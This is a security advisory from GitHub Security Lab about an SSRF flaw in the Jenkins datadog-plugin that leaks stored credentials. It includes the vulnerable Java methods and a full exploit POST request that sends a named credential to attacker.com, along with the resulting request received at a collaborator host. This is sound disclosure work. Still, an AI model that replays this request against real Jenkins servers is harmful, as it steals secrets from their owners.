Coordinated Disclosure Timeline

Summary

A Server-Side Request Forgery (SSRF) vulnerability in jenkinsci/datadog-plugin allows the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the targetApiURL parameter in the DatadogGlobalConfiguration#doTestConnection. These methods read arbitrary credentials from the credentials storage using hardcoded ACL.System permission and send them to attacker-controlled servers.

Product

datadog-plugin Jenkins plugin

Tested Version

v5.4.0

Details

Arbitrary secret leakage via SSRF (GHSL-2023-068)

The DatadogGlobalConfiguration#doTestConnection method reads a credential identified by the targetApiKey query parameter and sends it to the attacker-controlled server specified by the targetApiURL query parameter:

@RequirePOST
public FormValidation doTestConnection(
        @QueryParameter("targetApiKey") final String targetApiKey,
        @QueryParameter("targetCredentialsApiKey") final String targetCredentialsApiKey,
        @QueryParameter("targetApiURL") final String targetApiURL)
        throws IOException, ServletException {

    final Secret secret = findSecret(targetApiKey, targetCredentialsApiKey);
    if (DatadogHttpClient.validateDefaultIntakeConnection(targetApiURL, secret)) {
        return FormValidation.ok("Great! Your API key is valid.");
    } else {
        return FormValidation.error("Hmmm, your API key seems to be invalid.");
    }
}

In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG credential to attacker.com the authenticated attacker would need to send the following request:

POST /jenkins/descriptorByName/org.datadog.jenkins.plugins.datadog.DatadogGlobalConfiguration/testConnection?targetApiKey=&targetCredentialsApiKey=FLAG&targetApiURL=https%3A%2F%2Fattacker.com%2F HTTP/1.1
Host: localhost:8080
Content-Length: 0
Jenkins-Crumb: ca9a4763d4daf38491e8f332f2999951e797b7bff50612a549325f2cab4ca203
Cookie: JSESSIONID.d63b7813=node0i7r4w2lll11h1tpmcj7dhj0w93.node0; jenkins-timestamper-offset=-7200000; screenResolution=3840x1600
Connection: close

The attacker needs to be authenticated but no admin privileges are required.

The code responsible to read the arbitrary credentials is:

public StringCredentials getCredentialFromId(String credentialId) {
    return CredentialsMatchers.firstOrNull(
            CredentialsProvider.lookupCredentials(
                StringCredentials.class,
                Jenkins.get(),
                ACL.SYSTEM,
                URIRequirementBuilder.fromUri(null).build()),
            CredentialsMatchers.allOf(CredentialsMatchers.withId(credentialId))
    );
}

As we can see in the code, regardless of the user privileges, the credentials are read with ACL.SYSTEM permissions.

Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following GET request:

GET /v1/validate?api_key=SUPERSECRETFLAG HTTP/1.1
User-Agent: Java/11.0.16.1
Host: vonxbf40kzlqxj90h6qnfxtcg3mual49t.oastify.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

This vulnerability was found using CodeQL’s SSRF Java query.

Impact

This vulnerability can lead to sensitive secret credentials leak.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-068 in any communication regarding this issue.